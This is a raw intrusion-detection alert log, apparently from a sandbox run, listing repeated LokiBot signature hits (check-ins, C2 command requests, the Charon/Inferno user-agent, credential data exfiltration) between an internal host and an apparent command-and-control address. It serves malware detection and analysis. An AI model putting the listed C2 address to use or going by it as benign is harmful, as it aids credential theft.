05/27/24-02:57:20.475127	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49740	80	192.168.2.5	104.21.85.101
05/27/24-02:56:56.824671	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49709	80	192.168.2.5	104.21.85.101
05/27/24-02:57:04.194340	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49717	80	192.168.2.5	104.21.85.101
05/27/24-02:56:53.233272	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49705	80	192.168.2.5	104.21.85.101
05/27/24-02:57:27.314357	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49746	80	192.168.2.5	104.21.85.101
05/27/24-02:58:29.323327	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49812	80	192.168.2.5	104.21.85.101
05/27/24-02:57:04.194340	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49717	80	192.168.2.5	104.21.85.101
05/27/24-02:58:02.822734	TCP	2025381	ET TROJAN LokiBot Checkin	49784	80	192.168.2.5	104.21.85.101
05/27/24-02:57:49.900695	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.5	104.21.85.101
05/27/24-02:58:46.007126	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49829	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.171322	TCP	2025381	ET TROJAN LokiBot Checkin	49736	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.923427	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49831	80	192.168.2.5	104.21.85.101
05/27/24-02:58:52.872776	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49835	80	192.168.2.5	104.21.85.101
05/27/24-02:57:20.475127	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49740	80	192.168.2.5	104.21.85.101
05/27/24-02:57:12.795525	TCP	2025381	ET TROJAN LokiBot Checkin	49731	80	192.168.2.5	104.21.85.101
05/27/24-02:58:16.532869	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49798	80	192.168.2.5	104.21.85.101
05/27/24-02:58:52.872776	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49835	80	192.168.2.5	104.21.85.101
05/27/24-02:57:15.342998	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49734	80	192.168.2.5	104.21.85.101
05/27/24-02:57:54.770134	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.5	104.21.85.101
05/27/24-02:58:53.747051	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49836	80	192.168.2.5	104.21.85.101
05/27/24-02:58:11.776104	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49794	80	192.168.2.5	104.21.85.101
05/27/24-02:58:16.532869	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.993911	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.965000	TCP	2025381	ET TROJAN LokiBot Checkin	49751	80	192.168.2.5	104.21.85.101
05/27/24-02:58:20.087463	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49802	80	192.168.2.5	104.21.85.101
05/27/24-02:57:58.296639	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49779	80	192.168.2.5	104.21.85.101
05/27/24-02:57:46.289681	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49765	80	192.168.2.5	104.21.85.101
05/27/24-02:56:52.319655	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49704	80	192.168.2.5	104.21.85.101
05/27/24-02:57:46.289681	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49765	80	192.168.2.5	104.21.85.101
05/27/24-02:58:00.847332	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49782	80	192.168.2.5	104.21.85.101
05/27/24-02:57:41.138153	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49761	80	192.168.2.5	104.21.85.101
05/27/24-02:57:48.941539	TCP	2025381	ET TROJAN LokiBot Checkin	49769	80	192.168.2.5	104.21.85.101
05/27/24-02:58:34.603701	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49816	80	192.168.2.5	104.21.85.101
05/27/24-02:58:15.663990	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.5	104.21.85.101
05/27/24-02:56:52.319655	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49704	80	192.168.2.5	104.21.85.101
05/27/24-02:58:01.718197	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.5	104.21.85.101
05/27/24-02:58:20.087463	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49802	80	192.168.2.5	104.21.85.101
05/27/24-02:57:28.354051	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49747	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.993699	TCP	2025381	ET TROJAN LokiBot Checkin	49821	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.110921	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49750	80	192.168.2.5	104.21.85.101
05/27/24-02:58:23.686553	TCP	2025381	ET TROJAN LokiBot Checkin	49806	80	192.168.2.5	104.21.85.101
05/27/24-02:57:57.446786	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49778	80	192.168.2.5	104.21.85.101
05/27/24-02:57:44.712946	TCP	2025381	ET TROJAN LokiBot Checkin	49764	80	192.168.2.5	104.21.85.101
05/27/24-02:58:33.709940	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49815	80	192.168.2.5	104.21.85.101
05/27/24-02:58:28.412600	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49811	80	192.168.2.5	104.21.85.101
05/27/24-02:57:57.446786	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.5	104.21.85.101
05/27/24-02:57:13.622626	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49732	80	192.168.2.5	104.21.85.101
05/27/24-02:57:53.803473	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49774	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.007407	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49803	80	192.168.2.5	104.21.85.101
05/27/24-02:57:01.572690	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49714	80	192.168.2.5	104.21.85.101
05/27/24-02:57:13.622626	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49732	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.944131	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49760	80	192.168.2.5	104.21.85.101
05/27/24-02:58:33.709940	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49815	80	192.168.2.5	104.21.85.101
05/27/24-02:57:02.427081	TCP	2025381	ET TROJAN LokiBot Checkin	49715	80	192.168.2.5	104.21.85.101
05/27/24-02:57:35.556016	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49755	80	192.168.2.5	104.21.85.101
05/27/24-02:57:36.373420	TCP	2025381	ET TROJAN LokiBot Checkin	49756	80	192.168.2.5	104.21.85.101
05/27/24-02:58:38.132174	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49820	80	192.168.2.5	104.21.85.101
05/27/24-02:57:14.514493	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49733	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.944131	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49760	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.983497	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49737	80	192.168.2.5	104.21.85.101
05/27/24-02:57:07.503626	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49719	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.983497	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49737	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.081251	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.977503	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.5	104.21.85.101
05/27/24-02:57:18.824360	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49738	80	192.168.2.5	104.21.85.101
05/27/24-02:58:45.171221	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49828	80	192.168.2.5	104.21.85.101
05/27/24-02:57:11.985959	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49730	80	192.168.2.5	104.21.85.101
05/27/24-02:57:14.514493	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49733	80	192.168.2.5	104.21.85.101
05/27/24-02:58:39.855398	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49822	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.923427	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49831	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.923427	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49831	80	192.168.2.5	104.21.85.101
05/27/24-02:57:03.327854	TCP	2025381	ET TROJAN LokiBot Checkin	49716	80	192.168.2.5	104.21.85.101
05/27/24-02:57:14.514493	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49733	80	192.168.2.5	104.21.85.101
05/27/24-02:58:45.171221	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49828	80	192.168.2.5	104.21.85.101
05/27/24-02:58:31.013040	TCP	2025381	ET TROJAN LokiBot Checkin	49814	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.029387	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49759	80	192.168.2.5	104.21.85.101
05/27/24-02:58:37.210299	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49819	80	192.168.2.5	104.21.85.101
05/27/24-02:58:39.855398	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49822	80	192.168.2.5	104.21.85.101
05/27/24-02:58:34.603701	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49816	80	192.168.2.5	104.21.85.101
05/27/24-02:57:05.187815	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49718	80	192.168.2.5	104.21.85.101
05/27/24-02:58:05.571891	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49787	80	192.168.2.5	104.21.85.101
05/27/24-02:57:57.446786	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49778	80	192.168.2.5	104.21.85.101
05/27/24-02:57:09.229387	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49724	80	192.168.2.5	104.21.85.101
05/27/24-02:57:08.406183	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49721	80	192.168.2.5	104.21.85.101
05/27/24-02:58:06.518525	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.5	104.21.85.101
05/27/24-02:58:08.266294	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49790	80	192.168.2.5	104.21.85.101
05/27/24-02:57:09.229387	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49724	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.993911	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49781	80	192.168.2.5	104.21.85.101
05/27/24-02:58:40.730674	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49823	80	192.168.2.5	104.21.85.101
05/27/24-02:57:32.850963	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49752	80	192.168.2.5	104.21.85.101
05/27/24-02:57:38.199508	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49758	80	192.168.2.5	104.21.85.101
05/27/24-02:58:46.007126	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49829	80	192.168.2.5	104.21.85.101
05/27/24-02:57:16.316242	TCP	2025381	ET TROJAN LokiBot Checkin	49735	80	192.168.2.5	104.21.85.101
05/27/24-02:57:55.635319	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.936240	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.5	104.21.85.101
05/27/24-02:58:17.383670	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49799	80	192.168.2.5	104.21.85.101
05/27/24-02:57:27.314357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49746	80	192.168.2.5	104.21.85.101
05/27/24-02:58:05.571891	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.5	104.21.85.101
05/27/24-02:58:17.383670	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49799	80	192.168.2.5	104.21.85.101
05/27/24-02:57:38.199508	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49758	80	192.168.2.5	104.21.85.101
05/27/24-02:58:04.647547	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49786	80	192.168.2.5	104.21.85.101
05/27/24-02:56:53.233272	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49705	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.907197	TCP	2025381	ET TROJAN LokiBot Checkin	49707	80	192.168.2.5	104.21.85.101
05/27/24-02:58:04.647547	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.5	104.21.85.101
05/27/24-02:57:52.045782	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.5	104.21.85.101
05/27/24-02:56:53.233272	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49705	80	192.168.2.5	104.21.85.101
05/27/24-02:58:18.265929	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.5	104.21.85.101
05/27/24-02:56:54.048379	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49706	80	192.168.2.5	104.21.85.101
05/27/24-02:57:29.208414	TCP	2025381	ET TROJAN LokiBot Checkin	49748	80	192.168.2.5	104.21.85.101
05/27/24-02:58:35.485663	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49817	80	192.168.2.5	104.21.85.101
05/27/24-02:57:32.850963	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49752	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.936240	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49793	80	192.168.2.5	104.21.85.101
05/27/24-02:57:33.866649	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49753	80	192.168.2.5	104.21.85.101
05/27/24-02:56:59.664329	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49712	80	192.168.2.5	104.21.85.101
05/27/24-02:57:05.187815	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49718	80	192.168.2.5	104.21.85.101
05/27/24-02:57:42.867143	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49762	80	192.168.2.5	104.21.85.101
05/27/24-02:57:53.803473	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.5	104.21.85.101
05/27/24-02:56:56.824671	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49709	80	192.168.2.5	104.21.85.101
05/27/24-02:57:50.878814	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.5	104.21.85.101
05/27/24-02:58:24.574893	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49807	80	192.168.2.5	104.21.85.101
05/27/24-02:57:37.342738	TCP	2025381	ET TROJAN LokiBot Checkin	49757	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.029387	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49759	80	192.168.2.5	104.21.85.101
05/27/24-02:57:56.483967	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49777	80	192.168.2.5	104.21.85.101
05/27/24-02:57:56.483967	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.127367	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49780	80	192.168.2.5	104.21.85.101
05/27/24-02:58:09.186594	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.5	104.21.85.101
05/27/24-02:58:36.335492	TCP	2025381	ET TROJAN LokiBot Checkin	49818	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.127367	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.5	104.21.85.101
05/27/24-02:58:03.699908	TCP	2025381	ET TROJAN LokiBot Checkin	49785	80	192.168.2.5	104.21.85.101
05/27/24-02:57:53.803473	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49774	80	192.168.2.5	104.21.85.101
05/27/24-02:58:48.820321	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49832	80	192.168.2.5	104.21.85.101
05/27/24-02:57:15.342998	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49734	80	192.168.2.5	104.21.85.101
05/27/24-02:57:20.475127	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49740	80	192.168.2.5	104.21.85.101
05/27/24-02:58:51.174321	TCP	2025381	ET TROJAN LokiBot Checkin	49833	80	192.168.2.5	104.21.85.101
05/27/24-02:57:30.108861	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49749	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.000038	TCP	2025381	ET TROJAN LokiBot Checkin	49830	80	192.168.2.5	104.21.85.101
05/27/24-02:57:25.218772	TCP	2025381	ET TROJAN LokiBot Checkin	49744	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.983497	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49737	80	192.168.2.5	104.21.85.101
05/27/24-02:57:23.648663	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49743	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.007407	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49803	80	192.168.2.5	104.21.85.101
05/27/24-02:58:44.306693	TCP	2025381	ET TROJAN LokiBot Checkin	49827	80	192.168.2.5	104.21.85.101
05/27/24-02:56:55.869978	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49708	80	192.168.2.5	104.21.85.101
05/27/24-02:57:30.108861	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49749	80	192.168.2.5	104.21.85.101
05/27/24-02:57:41.138153	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49761	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.007407	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49803	80	192.168.2.5	104.21.85.101
05/27/24-02:56:55.869978	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49708	80	192.168.2.5	104.21.85.101
05/27/24-02:57:42.867143	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49762	80	192.168.2.5	104.21.85.101
05/27/24-02:58:37.210299	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.5	104.21.85.101
05/27/24-02:57:41.138153	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49761	80	192.168.2.5	104.21.85.101
05/27/24-02:58:08.266294	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.5	104.21.85.101
05/27/24-02:57:08.406183	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49721	80	192.168.2.5	104.21.85.101
05/27/24-02:58:22.782486	TCP	2025381	ET TROJAN LokiBot Checkin	49805	80	192.168.2.5	104.21.85.101
05/27/24-02:57:43.888980	TCP	2025381	ET TROJAN LokiBot Checkin	49763	80	192.168.2.5	104.21.85.101
05/27/24-02:58:48.820321	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49832	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.838596	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49804	80	192.168.2.5	104.21.85.101
05/27/24-02:58:27.314091	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49810	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.171322	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49736	80	192.168.2.5	104.21.85.101
05/27/24-02:58:47.923427	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49831	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.110921	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49750	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.936240	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49793	80	192.168.2.5	104.21.85.101
05/27/24-02:58:16.532869	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.5	104.21.85.101
05/27/24-02:58:00.847332	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49782	80	192.168.2.5	104.21.85.101
05/27/24-02:57:13.622626	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49732	80	192.168.2.5	104.21.85.101
05/27/24-02:58:52.872776	TCP	2025381	ET TROJAN LokiBot Checkin	49835	80	192.168.2.5	104.21.85.101
05/27/24-02:57:17.171322	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49736	80	192.168.2.5	104.21.85.101
05/27/24-02:58:35.485663	TCP	2025381	ET TROJAN LokiBot Checkin	49817	80	192.168.2.5	104.21.85.101
05/27/24-02:58:34.603701	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49816	80	192.168.2.5	104.21.85.101
05/27/24-02:56:52.319655	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49704	80	192.168.2.5	104.21.85.101
05/27/24-02:57:55.635319	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.5	104.21.85.101
05/27/24-02:58:30.172586	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49813	80	192.168.2.5	104.21.85.101
05/27/24-02:57:02.427081	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49715	80	192.168.2.5	104.21.85.101
05/27/24-02:58:00.847332	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.5	104.21.85.101
05/27/24-02:58:34.603701	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49816	80	192.168.2.5	104.21.85.101
05/27/24-02:57:08.406183	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49721	80	192.168.2.5	104.21.85.101
05/27/24-02:57:31.110921	TCP	2025381	ET TROJAN LokiBot Checkin	49750	80	192.168.2.5	104.21.85.101
05/27/24-02:58:35.485663	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49817	80	192.168.2.5	104.21.85.101
05/27/24-02:57:08.406183	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49721	80	192.168.2.5	104.21.85.101
05/27/24-02:58:11.776104	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.5	104.21.85.101
05/27/24-02:56:58.817936	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49711	80	192.168.2.5	104.21.85.101
05/27/24-02:57:39.944131	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49760	80	192.168.2.5	104.21.85.101
05/27/24-02:58:24.574893	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.5	104.21.85.101
05/27/24-02:56:59.664329	TCP	2025381	ET TROJAN LokiBot Checkin	49712	80	192.168.2.5	104.21.85.101
05/27/24-02:57:38.199508	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49758	80	192.168.2.5	104.21.85.101
05/27/24-02:56:58.817936	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49711	80	192.168.2.5	104.21.85.101
05/27/24-02:57:44.712946	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49764	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.081251	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49792	80	192.168.2.5	104.21.85.101
05/27/24-02:57:44.712946	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49764	80	192.168.2.5	104.21.85.101
05/27/24-02:58:01.718197	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49783	80	192.168.2.5	104.21.85.101
05/27/24-02:57:22.168783	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49742	80	192.168.2.5	104.21.85.101
05/27/24-02:58:10.081251	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.5	104.21.85.101
05/27/24-02:58:04.647547	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.5	104.21.85.101
05/27/24-02:57:46.289681	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49765	80	192.168.2.5	104.21.85.101
05/27/24-02:58:42.432686	TCP	2025381	ET TROJAN LokiBot Checkin	49825	80	192.168.2.5	104.21.85.101
05/27/24-02:58:20.087463	TCP	2025381	ET TROJAN LokiBot Checkin	49802	80	192.168.2.5	104.21.85.101
05/27/24-02:57:42.867143	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49762	80	192.168.2.5	104.21.85.101
05/27/24-02:57:00.615870	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49713	80	192.168.2.5	104.21.85.101
05/27/24-02:57:00.615870	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49713	80	192.168.2.5	104.21.85.101
05/27/24-02:58:37.210299	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49819	80	192.168.2.5	104.21.85.101
05/27/24-02:57:21.327353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49741	80	192.168.2.5	104.21.85.101
05/27/24-02:57:35.556016	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49755	80	192.168.2.5	104.21.85.101
05/27/24-02:57:21.327353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49741	80	192.168.2.5	104.21.85.101
05/27/24-02:58:17.383670	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49799	80	192.168.2.5	104.21.85.101
05/27/24-02:57:32.850963	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49752	80	192.168.2.5	104.21.85.101
05/27/24-02:58:29.323327	TCP	2025381	ET TROJAN LokiBot Checkin	49812	80	192.168.2.5	104.21.85.101
05/27/24-02:57:33.866649	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49753	80	192.168.2.5	104.21.85.101
05/27/24-02:57:42.867143	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49762	80	192.168.2.5	104.21.85.101
05/27/24-02:57:18.824360	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49738	80	192.168.2.5	104.21.85.101
05/27/24-02:58:33.709940	TCP	2025381	ET TROJAN LokiBot Checkin	49815	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.838596	TCP	2025381	ET TROJAN LokiBot Checkin	49804	80	192.168.2.5	104.21.85.101
05/27/24-02:57:43.888980	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49763	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.108178	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49726	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.127367	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49780	80	192.168.2.5	104.21.85.101
05/27/24-02:57:10.108178	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49726	80	192.168.2.5	104.21.85.101
05/27/24-02:58:12.860512	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.5	104.21.85.101
05/27/24-02:58:21.007407	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49803	80	192.168.2.5	104.21.85.101
05/27/24-02:57:01.572690	TCP	2825766	ETPRO TROJAN LokiBot Checkin M2	49714	80	192.168.2.5	104.21.85.101
05/27/24-02:58:13.812339	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.5	104.21.85.101
05/27/24-02:57:34.740166	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49754	80	192.168.2.5	104.21.85.101
05/27/24-02:57:59.993911	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.5	104.21.85.101
